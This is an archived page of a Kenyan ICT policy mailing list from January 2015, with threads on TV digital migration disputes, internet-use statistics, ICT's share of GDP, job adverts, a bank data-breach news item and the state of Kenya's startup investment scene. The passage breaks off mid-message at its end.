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Re: [kictanet] Another unfounded prominent story by Daily Nation on #DigitalMigration
by Consumers Federation of Kenya (Cofek) 15 Jan '15

15 Jan '15

Dear Mr Bwire Mostly verbal rejections. In one case, when we to run joint ads with Gotv and StarTimes, one media house demanded we remove the other logos. We did. Given our budget constraints, we only ran one ad on our own. Another media house flatly rejected any ad on digital migration. We have confidential (we can't share) internal correspondences requiring high level clearance on digital migration ads in both print and broadcast versions. You can separately request the experience of CA, gotv and StarTimesKenya from the "3 media housrs" Regards David -------- Original message -------- From: Victor bwire <vicbwire(a)gmail.com> Date:15/01/2015 3:31 PM (GMT+03:00) To: "Consumers Federation of Kenya (COFEK)" <hotline(a)cofek.co.ke>, KICTAnet ICT Policy Discussions <kictanet(a)lists.kictanet.or.ke> Cc: Subject: Re: [kictanet] Another unfounded prominent story by Daily Nation on #DigitalMigration Would b interested in getting formal refusal by the media houses to run the adverts. Or any comms on the issue on some work we r doing On 15/01/2015 3:21 PM, "Consumers Federation of Kenya (COFEK) via kictanet" <kictanet(a)lists.kictanet.or.ke> wrote: Dear Listers, We hereby share the prominent page 3 “Daily Nation” story on digital migration >> http://www.nation.co.ke/news/digital-migration-Kenya-poll/-/1056/2589266/-/… which we find either skewed and or inconsistent with the study by GeoPoll (whose methodology, sampling and conclusions raise more questions than answers) >> http://blog.geopoll.com/kenyas-analogue-to-digital-switch?utm_content=11150… It remains inconceivable to us as towhy a national survey was taken when part digital migration (NTV, KTN and Citizen are still on simulcast) happened in Nairobi. Again, why a more reliable local firm would not be relied upon, it is equally baffling. A random (non-targeted) and non-scientific lean sample of 400, reportedly of over 35 years, spread across Kenya for such conclusions? No one knows the education level of respondents. Lastly, why would “Daily Nation” mention “ignorance” on digital migration when they, among other media houses, could not accept running CA and other digital migration campaigns last year? But we could be wrong, too. We invite your incisive opinions on this matter. We have requested Daily Nation public editor (congratulations Mr Peter Mwaura) to check this article and whether some interests are not being declared by this respected media house. Kind regards, David Kedode Program Officer www.cofek.co.ke _______________________________________________ kictanet mailing list kictanet(a)lists.kictanet.or.ke https://lists.kictanet.or.ke/mailman/listinfo/kictanet Unsubscribe or change your options at https://lists.kictanet.or.ke/mailman/options/kictanet/vicbwire%40gmail.com The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform for people and institutions interested and involved in ICT policy and regulation. The network aims to act as a catalyst for reform in the ICT sector in support of the national aim of ICT enabled growth and development. KICTANetiquette : Adhere to the same standards of acceptable behaviors online that you follow in real life: respect people's times and bandwidth, share knowledge, don't flame or abuse or personalize, respect privacy, do not spam, do not market your wares or qualifications.

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Re: [kictanet] [Skunkworks] Milestone: Half of Kenyans are now online, how long till half of them use Bitcoin?
by Mark Mwangi 15 Jan '15

15 Jan '15

Half of Kenyans? I highly doubt those stats. I think we are falling under the delusion of multiple SIMs and connections for individuals. I have 3 Sims, internet at home and at work. According to the CAK I am thus 5 people on the internet. Obviously not so. Also there are enough bots on twitter parading as Kenyan individuals. I would put the figure at 10% On Wed, Jan 14, 2015 at 5:05 PM, John Karanja via skunkworks < skunkworks(a)lists.my.co.ke> wrote: > Listers, > > Half of Kenyans are now online, how long till half of them use Bitcoin? > Discuss(20Mks) > > *P.S. Kudos to everyone involved in Kenya ICT hard to imagine the > revolution really started just 5 years ago in 2009 when fiber arrived. * > > *Flashback: http://johnkaranja.com/2009/07/12/what-next-after-the-mobile-revolution-in-… > <http://johnkaranja.com/2009/07/12/what-next-after-the-mobile-revolution-in-…>* > > John > > _______________________________________________ > skunkworks mailing list > skunkworks(a)lists.my.co.ke > ------------ > List info, subscribe/unsubscribe > http://lists.my.co.ke/cgi-bin/mailman/listinfo/skunkworks > ------------ > > Skunkworks Rules > http://my.co.ke/phpbb/viewtopic.php?f=24&t=94 > ------------ > Other services @ http://my.co.ke > -- Regards, Mark Mwangi markmwangi.me.ke

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Is our ICT GDP growth unable to match national GDP growth?
by John Kieti 15 Jan '15

15 Jan '15

Dear Listers, One would expect ICT to be the fastest growing economic sector in Kenya. Incidentally its not. In fact there's a declining trend; according to the rebased national accounts data of 2014 - see visualization attached. The absolute ICT GDP figures have grown modestly from KES 50 billion in 2006 to KES 68 billion in 2013, and quite dismally when compared to national GDP which grew from KES 1.8 trillion to KES 4.7 trillion over the same period. Granted researchers suggest that much of the positive impact of ICT is felt indirectly in other economic sectors, are we seeing a suboptimal growth of ICT's direct contributors to GDP over the years? What do pundits here think? br -- My Blog - gmeltdown.com <http://www.gmeltdown.com> ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' The ordinary just won't do

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Job Vacancy
by Bernard Kioko 15 Jan '15

15 Jan '15

Title: Sales Executive Division: Commercial Employment Type: Permanent Location: Kenya Reports to: Commercial Manager Role Summary The Sales Executive is primarily responsible for selling Bernsoft products and services to new and existing customers within a given territory, market sector or Bernsoft product suite. This role is responsible for identifying and managing sales opportunities, building an in-depth understanding of client business drivers, to position how Bernsoft products and services can enable organizations to reduce costs and become more operationally efficient, and manage the sales process to a successful conclusion. Principal Responsibilities Sales . To establish, implement and document account plans for identified strategic accounts . To demonstrate the ability to show entrepreneurial drive in a given territory to generate, meet and develop new prospects that turn into sales orders, closing all opportunities in a timely manner. . To be able to conduct own initial product and sales demonstrations, ensuring that the company's products are matched to the identified client's needs. . To understand and influence the customers decision making process and lead the customer to positive decisions on . Bernsoft sales proposals and manage all customer engagements to a successful conclusion. . To demonstrate domain expertise in the IT business solutions, having previously sold and worked within this market to ensure credibility and understanding of the customers' business. . To identify the resources required and opportunities to expand product usage and devise plans and strategies for selling into the territory and existing account base, to accelerate business volumes . To prepare client proposals and provide accurate pricing ensuring that the company price calculator is used at all times. . To provide accurate and timely business sales forecasts . To identify marketing and product requirements and communicate well to appropriate personnel to drive the overall sales process Customer Service . To provide professional and effective services to internal and / or external customers, to meet customer expectations, particularly in terms of Quality and Timeliness in line with departmental standards, procedures and guidelines. . To provide follow up with customers to ensure customer satisfaction with products and / or services provided . To communicate courteously with internal and / or external customers by telephone, email and face to face, building positive relationships, investigating, responding to and progressing issues and queries to a successful conclusion at the earliest time. . To speak positively and enthusiastically about the company and its products and services to ensure that a professional company and brand image is provided at all times to customers and colleagues. Teamwork . To work as part of a team to achieve the departmental standards. . To work together with other departments and divisions within the organization to identify any process improvements and improve standards, efficiency and profitability. Knowledge . To ensure that a good level of understanding and knowledge of organizations products and services, which is improved and maintained at all times, ensuring that customer queries can be dealt with accurately and appropriately and supported by the department. . To take responsibility for own personal development in line with agreed annual performance objectives. . To be willing to list to and support colleagues and team members with professional problems, devoting time to impart expertise, infusing confidence and expressing positive expectations regarding the team's and company's performance. . Such other duties as the management may from time to time reasonably require. Key Interfaces . Dealing with external customers. . Liaising with internal departments to bring sales and queries to a satisfactory closure. Dimensions / Budgets . The department consists of account executives that are responsible for managing account customers either from the office, from client site or working from home. . Work outside of normal business hours and travel to customer sites will be required. Knowledge, Experience and Qualifications . Degree level, diploma or equivalent education or experience. . Excellent verbal and written communication skills as well as good interpersonal skills. . Experience of the software industry with proven track record of significantly exceeding targets and expectations and experience of is a plus. . Proven ability in closing business to business deals within software sales. . Excellent knowledge of IT business solutions . Excellent sales, negotiation and presentation skills. . Demonstrable self-sufficiency, sales leadership, entrepreneurial relationship and business development. . Ability to co-ordinate resources to successfully encourage the customer to expand product usage . Ability to develop executive level relationships and engage with the customer to establish an understanding of their business drivers and how the Bernsoft software can enable them to become more efficient, increase profits and reduce overall costs Remuneration: Negotiable Email your cv to jobs(a)bernsoft.com by close of day 23rd January 2015. Only shortlisted candidates will be contacted. -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Job Vacancy
by Bernard Kioko 14 Jan '15

14 Jan '15

Title: Commercial & Customer Relations Manager Division: Commercial Division Employment Type: Permanent Location: Kenya Reports to: Chief Executive Officer Role Summary This person is charged to lead and manage the sales and customer service functions of the business. Alongside the CEO and other HODs, s/he should co-own the strategic leadership of Bernsoft ensuring the maintenance, growth and support profitable sales in line with business targets across all revenue centres. Main Duties: i. To build the business through sales and marketing of existing and new products to existing and new customers ii. To achieve KPIs, including sales targets iii. To develop and build relationships with current and new customers iv. To develop the business profile by enhancing, informing and changing the customer perspective of Bernsoft strengths and product ranges v. To identify products that will satisfy customer needs in conjunction with the production teams vi. To devise and deliver promotional activities and marketing and assist at trade and promotional events vii. To identify and develop potential partner companies to increase the range of products offered by Bernsoft including factored products viii. To understand the competition and provide market intelligence reports ix. To head up and lead the commercial team including wholesale, national accounts and product development x. To manage the commercial team including recruitment, selection, development, training, performance management and succession planning xi. To report to the management team and regularly attend management meetings Customer Service . To provide professional and effective services to internal and / or external customers, to meet customer expectations, particularly in terms of Quality and Timeliness in line with departmental standards, procedures and guidelines. . To provide follow up with customers to ensure customer satisfaction with products and / or services provided . To communicate courteously with internal and / or external customers by telephone, email and face to face, building positive relationships, investigating, responding to and progressing issues and queries to a successful conclusion at the earliest time. . To speak positively and enthusiastically about the company and its products and services to ensure that a professional company and brand image is provided at all times to customers and colleagues. Teamwork . To work as part of a team to achieve the departmental standards. . To work together with other departments and divisions within the organization to identify any process improvements and improve standards, efficiency and profitability. Knowledge . Strong selling, negotiation and influencing skills . Strong relationship building, networking and account management skills . Strong skills in business growth . Commercially and financially aware . An understanding of marketing . Creative problem solving . Strong team leadership skills to lead, motivate and manage a team . Good numerical and costing skills Key Interfaces . Dealing with external customers. . Liaising with internal departments to bring content acquisition queries to a satisfactory closure. Dimensions / Budgets . Ensure that the jobs undertaken are carried out within previously approved budgets . Work outside of normal business hours and travel to customer sites will be required Interested candidates should send their CVs to jobs(a)bernsoft.com on or before January 23rd 2015. Only shortlisted candidates will be contacted. -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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Re: [kictanet] AS DN announces their set top boxes where are the two CAs? COFEK Response
by Consumers Federation of Kenya (COFEK) 13 Jan '15

13 Jan '15

Dear Mr Mbugua, Many thanks for your well-informed (… save for the unfair attack on us at the end) critique (which we have re-published on our website). Clearly, both Communications and Competition Authorities have allowed excessive leeway to the trio of KTN, NTV and CitizenTv to stifle industry competition to the pain of consumers. It is unfortunate that the 3 media houses declined adverts of their competitors – but wake up to a prominent back page story of “advanced set top boxes” being “on the way” as if DVBT-2 type-approved STB’s don’t exist. Kenya is using DVBT-2. Perhaps the consortium will be using DVBT-3 or 4 or whichever qualifies to be “advanced”. Let us leave that to CAK of Waiyaki Way. The CAK of Haile Selassie Avenue must intervene, possibly at their convenience. Truth however is that - never again and never again – should Kenya’s ICT sector allow excessive dominance of 1, 2 or 3 players – which decide what is news for Kenya, when and how. As of now, we have been restrained to comment on these issues since we are parties to the active suit before the Supreme Court on digital migration. We may appear to be “quiet” but if the 3 media houses control over 80% of the news outlets, and you want to criticize them – will they have any airtime or print-space for you? The answer is no. At Cofek, we blame the so-called digital government for playing ping-pong on digital migration. Senior GoK officials are shielding the 3 media houses for selfish gain. At least we know but can’t name 3 of them. They know themselves. Yet we find solace in the fact that one day, just one day, Kenya will fully migrate. The dominance, chest-thumping and egos will go. Media empires will slowly but surely crumble and … become castles in the wind – as they tumble to competition from hundreds of more focused and niche-based news outlets. They can wine and celebrate the Supreme Court recent ruling. They can make more advertisements on simulcast. They can block competition and criticism. They can peddle their evident influence. They can compel people to read their self-made news about themselves. They can do all manner of things. But let them know or be told two things – consumer is king/queen and innovation is an unstoppable wrecker. It will catch up with them. Like the story of mobile telephony versus defunct Telkom Kenya landline. That time is coming. That time will come. So God help NMG, RMS and SG! Kind regards, David Kedode www.cofek.co.ke From: kictanet [mailto:kictanet-bounces+hotline=cofek.co.ke@lists.kictanet.or.ke] On Behalf Of James Mbugua via kictanet Sent: Tuesday, January 13, 2015 3:03 PM To: The Consumers Federation of Kenya (Cofek) Subject: [kictanet] AS DN announces their set top boxes where are the two CAs? Who’s who between Communications Authority and Competition Authority? So, today, Daily Nation decided to lead the back page with the news that the three media houses that run KTN, Citizen and NTV will be importing over 1 million of their own set top boxes to retail at about Sh2500 by end of March. http://www.nation.co.ke/news/Advanced-set-top-boxes-on-the-way/-/1056/25872… 150,000 of them will be launched within this month. It sounds like big news and indeed, occupies a prominent space in the paper until, wait, haven’t there been set top boxes being sold in the country on the streets, shops, supermarkets everywhere? Yes, but belonging to Multichoice GOTV, Startimes and independent set top box vendors. So, why is DN packaging its plans as big news? Precisely because acting against the spirit and letter of the Kenya Communications Amendment Act (2009) as well as other Restrictive Trading countermeasures, the three outlets have been stifling information about the existence of other players in the digital migration field even as they seek to tie up digital migration in court. In the meantime, they are importing their own equipment and planning to use their platforms to exclusion of others to market themselves. This is illegal. The Communications Authority of Kenya must begin to enforce the regulations and demand that these media houses, accord the same amount of fair coverage to all players in the digital migration arena or risk losing their signal distribution license. Licenses must come with terms and conditions and one of those should be that you cannot use existing licenses to unfairly black out competition. So far both the regulator and the other players have been very tolerating of this consortium but it should be clear to them that it doesn’t mean that they cannot be held up in the same courts of law they are using. Other Free to Air channels like Kiss, K24, Family, GBS etc can contest the award of the signal distribution license to a cartel that has shown it is willing to abuse its market power to retain market share. Vertical integration of media houses : - TV, Radio, Newspaper can also be challenged to enforce fair competition not to have the newspapers be used by their owners to advertise the consortium’s set top boxes while refusing to carry adverts for rivals platforms like GoTV or Bamba TV? Both the Competition Authority and the CAK have a responsibility to speak up on this issue. Cofek, in the meantime after wreaking havoc in the migration process with their busy body ways in 2013, have been unusually quiet in the face of very anti-consumer behaviour by the three media houses. Unsubscribe or change your options at https://lists.kictanet.or.ke/mailman/options/kictanet/jgmbugua%40gmail.com The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform for people and institutions interested and involved in ICT policy and regulation. The network aims to act as a catalyst for reform in the ICT sector in support of the national aim of ICT enabled growth and development. KICTANetiquette : Adhere to the same standards of acceptable behaviors online that you follow in real life: respect people's times and bandwidth, share knowledge, don't flame or abuse or personalize, respect privacy, do not spam, do not market your wares or qualifications. <http://t.signauxneuf.com/e1t/o/5/f18dQhb0S7ks8dDMPbW2n0x6l2B9gXrN7sKj6v5df9…>

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AS DN announces their set top boxes where are the two CAs?
by James Mbugua 13 Jan '15

13 Jan '15

> > Who’s who between Communications Authority and Competition Authority? > > So, today, Daily Nation decided to lead the back page with the news that > the three media houses that run KTN, Citizen and NTV will be importing over > 1 million of their own set top boxes to retail at about Sh2500 by end of > March. > > > http://www.nation.co.ke/news/Advanced-set-top-boxes-on-the-way/-/1056/25872… > > 150,000 of them will be launched within this month. > > It sounds like big news and indeed, occupies a prominent space in the > paper until, wait, haven’t there been set top boxes being sold in the > country on the streets, shops, supermarkets everywhere? > > Yes, but belonging to Multichoice GOTV, Startimes and independent set top > box vendors. > > So, why is DN packaging its plans as big news? > > Precisely because acting against the spirit and letter of the Kenya > Communications Amendment Act (2009) as well as other Restrictive Trading > countermeasures, the three outlets have been stifling information about the > existence of other players in the digital migration field even as they seek > to tie up digital migration in court. > > In the meantime, they are importing their own equipment and planning to > use their platforms to exclusion of others to market themselves. > > This is illegal. > > The Communications Authority of Kenya must begin to enforce the > regulations and demand that these media houses, accord the same amount of > fair coverage to all players in the digital migration arena or risk losing > their signal distribution license. > > Licenses must come with terms and conditions and one of those should be > that you cannot use existing licenses to unfairly black out competition. > > So far both the regulator and the other players have been very tolerating > of this consortium but it should be clear to them that it doesn’t mean that > they cannot be held up in the same courts of law they are using. > > Other Free to Air channels like Kiss, K24, Family, GBS etc can contest the > award of the signal distribution license to a cartel that has shown it is > willing to abuse its market power to retain market share. > > Vertical integration of media houses : - TV, Radio, Newspaper can also be > challenged to enforce fair competition not to have the newspapers be used > by their owners to advertise the consortium’s set top boxes while refusing > to carry adverts for rivals platforms like GoTV or Bamba TV? > > Both the Competition Authority and the CAK have a responsibility to speak > up on this issue. Cofek, in the meantime after wreaking havoc in the > migration process with their busy body ways in 2013, have been unusually > quiet in the face of very anti-consumer behaviour by the three media houses. > > Unsubscribe or change your options at > https://lists.kictanet.or.ke/mailman/options/kictanet/jgmbugua%40gmail.com > > The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform > for people and institutions interested and involved in ICT policy and > regulation. The network aims to act as a catalyst for reform in the ICT > sector in support of the national aim of ICT enabled growth and development. > > KICTANetiquette : Adhere to the same standards of acceptable behaviors > online that you follow in real life: respect people's times and bandwidth, > share knowledge, don't flame or abuse or personalize, respect privacy, do > not spam, do not market your wares or qualifications. >

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Data Privacy issues, Permission Marketing and nuisance SMSs
by Ali Hussein 13 Jan '15

13 Jan '15

Listers Apologies for cross posting. In the wake of a global scare on the security of consumer data, hacking incidences (the latest is closer to home where individuals were arrested when they threatened to release confidential NIC Bank customer information). http://www.businessdailyafrica.com/Corporate-News/-NIC-Bank-database-hackin… The Obama administration has issued far reaching guidelines on this issue. President Barack Obama wants companies to notify consumers within 30-days of a personal data breach. Despite a slew of pressing issues facing the administration and a potentially unsympathetic Republican-led congress, the White House today unveiled <http://www.whitehouse.gov/the-press-office/2015/01/12/fact-sheet-safeguardi…>a handful of legislative proposals aimed at safeguarding consumer privacy, continuing along a path established by its privacy and big data report published in May. The administration's Personal Data Notification and Protection Act is being pitched in part as beneficial to companies handling consumer data, since it provides a set of rules for data breaches that applies on a national level. Read on:- http://adage.com/article/privacy-and-regulation/obama-firms-notify-data-bre… I also picked an old article in the CIO Magazine about a Mass SMS Campaign by Safaricom sometime last year on behalf of the Deposit Protection Fund. See below:- http://www.cio.co.ke/news/main-stories/we-did-not-share-consumer-data,-safa… This is a good opportunity for both Govt, through policy making and security organs and the private sector to work together to create a solid framework that will enhance commerce, protect sensitive personal data and of course guard the country against external cyber-security aggression. Anyone on this list know of any such initiative? *Ali Hussein* Tel: +254 770 906375/ 713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim <http://ke.linkedin.com/in/alihkassim> Blog: www.alyhussein.com Any information of a personal nature expressed in this email are purely mine and do not necessarily reflect the official positions of the organizations that I work with.

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Data Privacy and Protection
by cdohnio 13 Jan '15

13 Jan '15

Something that has come out this moring that I don't think we're paying, as a nation, enough attention to. 2 criminals were arrested after they threatened to release confidential NIC Bank customer information: http://www.businessdailyafrica.com/Corporate-News/-NIC-Bank-database-hackin… The article is extremely sparse with details on the actual hacking leaving so many unanswered questions. How did they get access to this data? Inside job? Hack over the internet? Banks are probably the most secure systems we have that we don't know how it was done makes it so we can't protect ourselves from similar attacks. How and who caught them? What has the bank done to prevent this from happening again? Have they informed their customers of the breach? Are they obligated to? These are the most important that come to mind right now though I'm sure there are others. Kenya's lack of a Data Protection law has left us, the consumer, extremely vulnerable, unable to even enforce the need for data protection amongst companies here. All the best, princelySid *Twitter:* @princelySid | *Website: *cdohnio.blogspot.com

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Re: [kictanet] KENYA’S TECH START UPS AND FLUFF
by Ali Hussein 13 Jan '15

13 Jan '15

Great response from Nikolai. On the issue of 'Fluff' I suspect every market has its share of it (Starting with Silicon Valley itself). The rule of thumb in Technology Investing in Start ups is that less than 10% make it to become successful companies. So 'Fluff' is part of the ecosystem. *Ali Hussein* Tel: +254 770 906375/ 713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim <http://ke.linkedin.com/in/alihkassim> Blog: www.alyhussein.com Any information of a personal nature expressed in this email are purely mine and do not necessarily reflect the official positions of the organizations that I work with. On Tue, Jan 13, 2015 at 11:11 AM, Josiah Mugambi via kictanet < kictanet(a)lists.kictanet.or.ke> wrote: > Nikolai (88mph) has a useful response and some clarifications on Becky's > blog as well: > > See it directly: > > > http://www.wanjiku.co.ke/2015/01/kenyas-tech-start-ups-and-fluff/#comment-7… > > > > > > > > On Tue, Jan 13, 2015 at 9:11 AM, Ngigi Waithaka via kictanet < > kictanet(a)lists.kictanet.or.ke> wrote: > >> I like her analysis. >> >> If other VC's have the same attitude, then we're slowly and surely >> getting to the root cause of the 'fluff'. >> >> And almost right on cue, this dropped by my Inbox today. Useful >> comparisons. >> >> http://www.quora.com/Why-is-Israel-so-big-in-high-tech >> >> Waithaka Ngigi >> >> Alliance Technologies >> Nairobi, Kenya >> >> www.A1.io >> On 12 Jan 2015 19:18, "Grace Githaiga via kictanet" < >> kictanet(a)lists.kictanet.or.ke> wrote: >> >>> http://www.wanjiku.co.ke/2015/01/kenyas-tech-start-ups-and-fluff/ >>> >>> ------------------------------ >>> Date: Mon, 12 Jan 2015 18:05:55 +0300 >>> Subject: Re: [kictanet] Kenya's Tech Startup scene leaves investors >>> underwhelmed >>> From: kictanet(a)lists.kictanet.or.ke >>> To: ggithaiga(a)hotmail.com >>> >>> According to Robert Yawe: https://t.co/pJfVm9ffxi >>> >>> ______________________ >>> Mwendwa Kivuva, Nairobi, Kenya >>> >>> "There are some men who lift the age they inhabit, till all men walk on >>> higher ground in that lifetime." - Maxwell Anderson >>> >>> >>> On 12 January 2015 at 16:21, Phares Kariuki via kictanet < >>> kictanet(a)lists.kictanet.or.ke> wrote: >>> >>> http://www.wanjiku.co.ke/2015/01/kenyas-tech-start-ups-and-fluff/ >>> >>> Wanjiku's take >>> >>> On Sun, Jan 11, 2015 at 1:44 PM, S.M. Muraya via kictanet < >>> kictanet(a)lists.kictanet.or.ke> wrote: >>> >>> @walu @makali >>> >>> Automation varies e.g. systems (infrastructure) automation vs Business >>> Process Automation. >>> Business Process automation is big in societies which favor >>> efficiency/hospitality over fraud. >>> >>> >>> http://www.computerweekly.com/news/2240237777/Forrester-IT-maintenance-saps… >>> >>> For business automation, locals get along better with locals, and do >>> much better than expatriates. >>> Smart expatriate entrepreneurs/investors focus more on infrastructure >>> automation/management. >>> Business automation involves understanding how an organization or >>> society needs/wants to work. >>> >>> As the Reuters article noted (GSMA research), local investors (which >>> must include public officials) are not well informed. >>> >>> Regards >>> >>> Murigi / Stanley Muraya >>> >>> *"Better a patient person than a warrior, one with self-control than one >>> who takes a city." Prov 16:32* >>> >>> On Wed, Jan 7, 2015 at 8:38 PM, Walubengo J via kictanet < >>> kictanet(a)lists.kictanet.or.ke> wrote: >>> >>> @David, >>> >>> sounds like a good topic. Investment in the ICT arena. I would imagine >>> that high-capital investments are done and dusted i.e. setting up mobile >>> networks, setting up media and broadcasting houses, laying fiber, etc. >>> >>> The remaining area of ICT investment is in the low-capital investment >>> area a.k.a innovations. Software based Innovations along the spirit of FB, >>> Twitter, MPESA, Google, etc. Essentially Kenya lacks investors in this >>> space. Local banks only fund the traditional, tried and tested business >>> models like opening up a bakery, building flats for sale/rent, land >>> transactions, etc but have not time to invest in "ideas". >>> >>> So you would probably need to schedule 2 talks/sessions around. >>> >>> 1. Why and how to fund/investment in ICT ideas/research (get someone >>> from Govt, Commission for Sci, Tech & Innovation (??) , get someone from >>> Academia, (Dr. Ndemo?) , from Industry ((Joe/Veronica of Safcom >>> Innovation Directorate)) >>> >>> 2. Why Kenyan investors dont fund ideas/innovations (get one fellow from >>> Industry(Joe/Veronica of Safcom Innovation Directorate), Govt (Victor, >>> ICTA) , Investment banker/Venture Capitalist (e.g. ????) >>> >>> You can pay me 2Chickens for the advise...IEBC type Chicken not your >>> local luhyia rooster :-) >>> >>> walu. >>> >>> ------------------------------ >>> *From:* David Makali via kictanet <kictanet(a)lists.kictanet.or.ke> >>> *To:* jwalu(a)yahoo.com >>> *Sent:* Wednesday, January 7, 2015 4:32 PM >>> *Subject:* Re: [kictanet] Kenya's Tech Startup scene leaves investors >>> underwhelmed >>> >>> Folks: >>> I would like to frame a discussion on citizen tv breakfast show around >>> this issue: IT or ICT as an area of investment and econ growth and her >>> competitiveness of our investment environment. What should the topic be and >>> who are the 2 critical people that should form part of that panel. And why. >>> >>> Last year, I tried in vain to get my friend and member of this network, >>> Catherine Adeya, then CEO of Konza city, to come on air for an exploration >>> of the subject but... Doesn't mirror much the robust discussions I see >>> here (behind the curtains?). >>> >>> David >>> >>> >>> This is official mail. If you doubt the content, call back on >>> +254722517540. >>> >>> >>> >>> On Jan 6, 2015, at 9:38 AM, Ngigi Waithaka via kictanet < >>> kictanet(a)lists.kictanet.or.ke> wrote: >>> >>> Listers, >>> >>> My 2 cents on this issue. >>> >>> Kenya Technology scene, is actually quite old; I know a few firms that >>> were founded in the 90s, some even earlier, and that are still going >>> strong. If anything, firms founded around the late 90s and early 200s have >>> had a lot more success than in later years, IMO. If you doubt me, check >>> firms like Virtual City, Craft Silicon, AT, SevenSeas, 3Mice, Cellulant, >>> Verve, ReelForge, Turnkey Africa, Lantech, AfricaOnline, Wananchi etc >>> >>> Having being involved in this sector over the last 20 years, I think >>> that the article is quite fair in that in recent times, there has been a >>> lot of hulabaloo of a new IT Startup which in no time bites the dust, >>> leaving investors obviously, licking their wounds. >>> >>> But this didn't just happen overnight. >>> >>> Sometime around 2007, there was a general drift towards mobile >>> technology. There were very nice sound bites, that, if you built a mobile >>> application, and got 1% of the world to buy it, you would be best pals with >>> the likes of Facebook, Twitter, Google Founders who would probably be >>> calling you up to borrow your yacht. >>> >>> This excitement was quickly followed by the "...build it they will come >>> mantra...", and besides, a new city technology city, Konza! >>> >>> This had the quick effect of churning a lot of money into these startups >>> to the point where what traditionally we would call "functions" in an >>> application, was being touted as a full application. These were quickly >>> showcased in the next mobile competition, and the winners of these parlayed >>> across the media as the true technology champions of Kenya. >>> >>> And with the success of Mpesa (that Kenyan application that is not built >>> in Kenya), Kenya had arrived in the technology scene. But this could not >>> have been further from the truth! >>> >>> I have argued before, that if we are to build a local technology scene, >>> it has to first cater for the current needs in the market. The Kenyan >>> Technology scene is heavily dominated by procurement of enterprise >>> applications & technologies. Put together, GoK, Safaricom, Airtel >>> , KPLC, KenGen, KRA, KCB, Equity etc spend not less than Ksh 200B every >>> year in IT purchases. >>> >>> If we ought to make a serious push for technology, then we need to first >>> address the market where local firms are already buying into, instead of >>> concentrating on developing functions wrapped as mobile applications for a >>> market that at most cannot even hit Ksh 100M. >>> >>> This is what every one of those firms that I have listed before did and >>> its no wonder 20 years later, they are still here. >>> >>> And this is the fundamental difference between the Kenya & Nigerian >>> startup scene. There are countless Nigerian firms that are already in Kenya >>> pushing their Nigerian built core Banking, Insurance, Manufacturing and >>> Public Sector solutions. Solid firms that are making applications that the >>> market is already paying for. >>> >>> So, lets not shoot the messenger. Lets reserve our vitriol and energy >>> for the ICT policy makers and ask them to build a policy that leads to >>> self-sustaining ICT growth. >>> >>> Regards >>> Ngigi Waithaka >>> A1.iO <http://a1.io/> >>> >>> On Tue, Jan 6, 2015 at 2:46 AM, Eric Osiakwan via kictanet < >>> kictanet(a)lists.kictanet.or.ke> wrote: >>> >>> .....you are very far from wrong, actually too close to right. >>> >>> HNY. >>> >>> Eric here >>> >>> Sent from my iPhone >>> >>> On Jan 5, 2015, at 17:40, John Kieti via kictanet < >>> kictanet(a)lists.kictanet.or.ke> wrote: >>> >>> Dear Ali, and other listers, >>> >>> Once in a while, we read articles in media, especially international >>> media carrying very misleading headings on the Kenyan startup scene. The >>> piece you share Ali is one such misleading story >>> >>> I would easily dismiss such an article, not only for it simply >>> "re-tweeting" old unfounded stereotypes but for two other reasons as >>> follows :- >>> >>> 1. The story is built solely on the investment philosophy of one >>> investor - not that its a wrong investment philosophy but that its not the >>> only investment philosophy relevant for a young ecosystem like ours. Even >>> in other advanced ecosystems there's many competing investors with diverse >>> investment strategies. >>> >>> 2. The story fails to capture sentiments of local founders seeking >>> capital and the challenges they face - from a startups perspective. >>> Considering that local startups have perceptions such as existence of >>> "vulture capital" and "racial capital preferences", it is fair to expect >>> that closing even the simplest of deals, or even attracting the requisite >>> pipeline is not for faint hearted or non-committed investors. The writer >>> could have gone under the hood to explore these at the very least. >>> >>> At the very least I would ask myself this when faced with such an >>> article; Can anyone really fairly compare our five year old ecosystem with >>> mature (decades old) ecosystems such as Silicon Valley or Tel Aviv? What >>> yardsticks would be fair across the board? >>> >>> That said, our startup ecosystem still experiences the usual challenges >>> expected at these formative stages. For instance (a) There's still too many >>> parallel entrepreneurs (for justified reasons) running startups >>> sub-optimally (b) we continue to experience a gap in local angel funding >>> (or traction proof funding) which cannot be replaced by foreign capital. >>> (c) Players and commentators in the ecosystem continue to assess startup >>> growth and performance with the same yardsticks applied to consultancies >>> and lifestyle businesses (d) The local market has sustained this uncanny >>> tendency to favor the presence of a non-local when a sales pitch party is >>> granted - if at all such is granted to a startup. (e) In the legal, >>> PR/marketing, accounting and other supporting professions, available skills >>> sets and professional approach are for the most part inflexibly corporate >>> minded - neither customized nor conducive for working with startups. These >>> to me are new issues below 